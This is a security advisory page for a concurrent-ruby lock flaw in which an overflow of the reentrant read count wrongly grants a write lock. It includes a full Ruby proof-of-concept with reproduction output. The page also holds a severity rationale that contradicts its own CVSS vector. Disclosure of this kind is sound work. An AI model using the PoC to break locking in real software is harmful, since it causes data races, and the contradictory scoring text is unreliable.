concurrent-ruby CVE-2026-54905
LOWSeverity by source
CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
AV:L and AC:H reflect in-process exploitation requiring 32,768 reentrant acquisitions; PR:L because code execution in the process is required; C/I/A:H reflects unrestricted concurrent access to lock-protected data.
Primary rating from Vendor (https://github.com/ruby-concurrency/concurrent-ruby).
CVSS VectorVendor: https://github.com/ruby-concurrency/concurrent-ruby
Lifecycle Timeline
3DescriptionCVE.org
Summary
Concurrent::ReentrantReadWriteLock can incorrectly grant a write lock after one thread acquires the read lock 32,768 times.
The lock stores a thread's local read and write hold counts in one integer. The low 15 bits are used for the read hold count, and bit 15 is used as WRITE_LOCK_HELD. After 32,768 reentrant read acquisitions, the local read count crosses into the write-lock bit. try_write_lock then treats the thread as already holding a write lock and returns true without setting the global RUNNING_WRITER bit.
This breaks the core mutual-exclusion guarantee: the caller is told it has a write lock, but other threads can still hold or acquire read locks at the same time.
Version
Software: concurrent-ruby Version: 1.3.6 Commit: 7a1b78941c081106c20a9ca0144ac73a48d254ab
Details
The implementation uses a shared counter to track global readers/writers and a per-thread local counter to support reentrancy:
READER_BITS = 15
WRITER_BITS = 14
WAITING_WRITER = 1 << READER_BITS
RUNNING_WRITER = 1 << (READER_BITS + WRITER_BITS)
MAX_READERS = WAITING_WRITER - 1
MAX_WRITERS = RUNNING_WRITER - MAX_READERS - 1
WRITE_LOCK_HELD = 1 << READER_BITS
READ_LOCK_MASK = WRITE_LOCK_HELD - 1
WRITE_LOCK_MASK = MAX_WRITERSWhen a thread already holds a lock, acquire_read_lock increments @HeldCount:
if (held = @HeldCount.value) > 0
if held & READ_LOCK_MASK == 0
@Counter.update { |c| c + 1 }
end
@HeldCount.value = held + 1
return true
endAfter 32,768 read acquisitions, the per-thread held count becomes 32768, which is equal to WRITE_LOCK_HELD. Then try_write_lock returns success through its "already have a write lock" branch:
def try_write_lock
if (held = @HeldCount.value) >= WRITE_LOCK_HELD
@HeldCount.value = held + WRITE_LOCK_HELD
return true
else
# normal global writer acquisition path
end
endThis branch does not set the global RUNNING_WRITER bit. Other threads therefore do not observe an active writer and can continue holding or acquiring read locks while the caller believes it owns the write lock.
PoC
#!/usr/bin/env ruby
# frozen_string_literal: true
require 'concurrent/atomic/reentrant_read_write_lock'
require 'concurrent/version'
require 'thread'
def wait_for_queue(queue, timeout_seconds)
deadline = Process.clock_gettime(Process::CLOCK_MONOTONIC) + timeout_seconds
loop do
return queue.pop(true)
rescue ThreadError
return nil if Process.clock_gettime(Process::CLOCK_MONOTONIC) >= deadline
sleep 0.001
end
end
puts "ruby=#{RUBY_DESCRIPTION}"
puts "concurrent_ruby_version=#{Concurrent::VERSION}"
puts "poc=ReentrantReadWriteLock read-depth overflow grants write lock without exclusivity"
lock = Concurrent::ReentrantReadWriteLock.new
other_reader_ready = Queue.new
other_reader_stop = Queue.new
other_reader = Thread.new do
lock.acquire_read_lock
other_reader_ready << :held
other_reader_stop.pop
end
wait_for_queue(other_reader_ready, 1)
puts "other_thread_holds_read_lock=true"
depth = Concurrent::ReentrantReadWriteLock::WRITE_LOCK_HELD
depth.times { lock.acquire_read_lock }
held_count = lock.instance_eval { @HeldCount.value }
counter_before = lock.instance_eval { @Counter.value }
puts "main_thread_read_acquisitions=#{depth}"
puts "main_thread_held_count=#{held_count}"
puts "counter_before_try_write=#{counter_before}"
puts "running_writer_bit_before=#{(counter_before & Concurrent::ReentrantReadWriteLock::RUNNING_WRITER) != 0}"
write_granted = lock.try_write_lock
counter_after = lock.instance_eval { @Counter.value }
puts "try_write_lock_returned=#{write_granted}"
puts "counter_after_try_write=#{counter_after}"
puts "running_writer_bit_after=#{(counter_after & Concurrent::ReentrantReadWriteLock::RUNNING_WRITER) != 0}"
third_reader_ready = Queue.new
third_reader = Thread.new do
lock.acquire_read_lock
third_reader_ready << :acquired
end
third_reader_acquired = wait_for_queue(third_reader_ready, 0.25) == :acquired
puts "new_reader_acquired_while_write_claimed=#{third_reader_acquired}"
if write_granted && third_reader_acquired && (counter_after & Concurrent::ReentrantReadWriteLock::RUNNING_WRITER).zero?
puts 'result=REPRODUCED write lock granted without setting global writer state'
else
puts 'result=NOT_REPRODUCED'
end
third_reader.kill
other_reader_stop << :stop
other_reader.killLog evidence
ruby=ruby 2.6.10p210 (2022-04-12 revision 67958) [universal.arm64e-darwin25]
concurrent_ruby_version=1.3.6
poc=ReentrantReadWriteLock read-depth overflow grants write lock without exclusivity
other_thread_holds_read_lock=true
main_thread_read_acquisitions=32768
main_thread_held_count=32768
counter_before_try_write=2
running_writer_bit_before=false
try_write_lock_returned=true
counter_after_try_write=2
running_writer_bit_after=false
new_reader_acquired_while_write_claimed=true
result=REPRODUCED write lock granted without setting global writer stateImpact
This breaks the write-lock exclusivity guarantee. After the overflow, a thread can be told it has acquired the write lock while other threads can still hold or acquire read locks, allowing races and inconsistent reads of protected mutable state.
Credit
Pranjali Thakur - depthfirst ([depthfirst.com](<http://depthfirst.com>))
AnalysisAI
Write lock exclusivity is silently violated in concurrent-ruby's ReentrantReadWriteLock, confirmed on version 1.3.6 and fixed in 1.3.7. After a single thread acquires the read lock exactly 32,768 times reentrantl, its per-thread @HeldCount counter overflows into bit 15, which the implementation also uses as the WRITE_LOCK_HELD flag - causing try_write_lock to return true via the fast-path 'already hold write lock' branch without ever setting the global RUNNING_WRITER bit. Other threads receive no signal of an active writer and continue acquiring read locks concurrently, breaking mutual exclusion with no exception raised. A publicly available proof-of-concept reproduces the condition; no public exploit identified as actively exploited (not in CISA KEV).
Technical ContextAI
The vulnerability resides in the Concurrent::ReentrantReadWriteLock class of the concurrent-ruby Ruby gem (pkg:rubygems/concurrent-ruby). The implementation packs a thread's local read and write hold counts into a single integer: the low 15 bits (bits 0-14) track the reentrant read depth (READ_LOCK_MASK = WRITE_LOCK_HELD - 1), and bit 15 (value 32,768, constant WRITE_LOCK_HELD = 1 << READER_BITS) flags that the thread holds a write lock. A separate global @Counter uses additional bit regions - WAITING_WRITER = 1 << 15 and RUNNING_WRITER = 1 << 29 - to coordinate cross-thread exclusion. The root cause is CWE-128 (Wrap-around Error / Integer Overflow): when acquire_read_lock is called 32,768 times on the same thread, the 15-bit read-count field wraps to exactly WRITE_LOCK_HELD. Because try_write_lock checks only held >= WRITE_LOCK_HELD without independently verifying the global RUNNING_WRITER bit, the fast-path branch returns true and increments @HeldCount by another WRITE_LOCK_HELD - but never sets RUNNING_WRITER in @Counter. Other threads observe no active writer and freely continue acquiring read locks, destroying the mutual-exclusion guarantee.
RemediationAI
Upgrade concurrent-ruby to version 1.3.7 or later, which is the vendor-confirmed patched release per GHSA-wv3x-4vxv-whpp (https://github.com/ruby-concurrency/concurrent-ruby/security/advisories/GHSA-wv3x-4vxv-whpp). Update your Gemfile or gemspec to gem 'concurrent-ruby', '>= 1.3.7' and run bundle update concurrent-ruby to apply the fix. If immediate upgrade is not feasible, audit all code paths using acquire_read_lock on a single thread to ensure no path can accumulate 32,768 reentrant acquisitions without a release; consider replacing ReentrantReadWriteLock with the non-reentrant ReadWriteLock for affected paths as a compensating control - note this trade-off: non-reentrant locks will raise or deadlock if the same thread attempts re-acquisition, requiring call-site refactoring. No workaround eliminates the overflow condition without code changes. No side effects of upgrading to 1.3.7 are documented in the advisory.
Same weakness CWE-128 – Wrap-around Error
View allSame technique Buffer Overflow
View allShare
External POC / Exploit Code
Leaving vuln.today
GHSA-wv3x-4vxv-whpp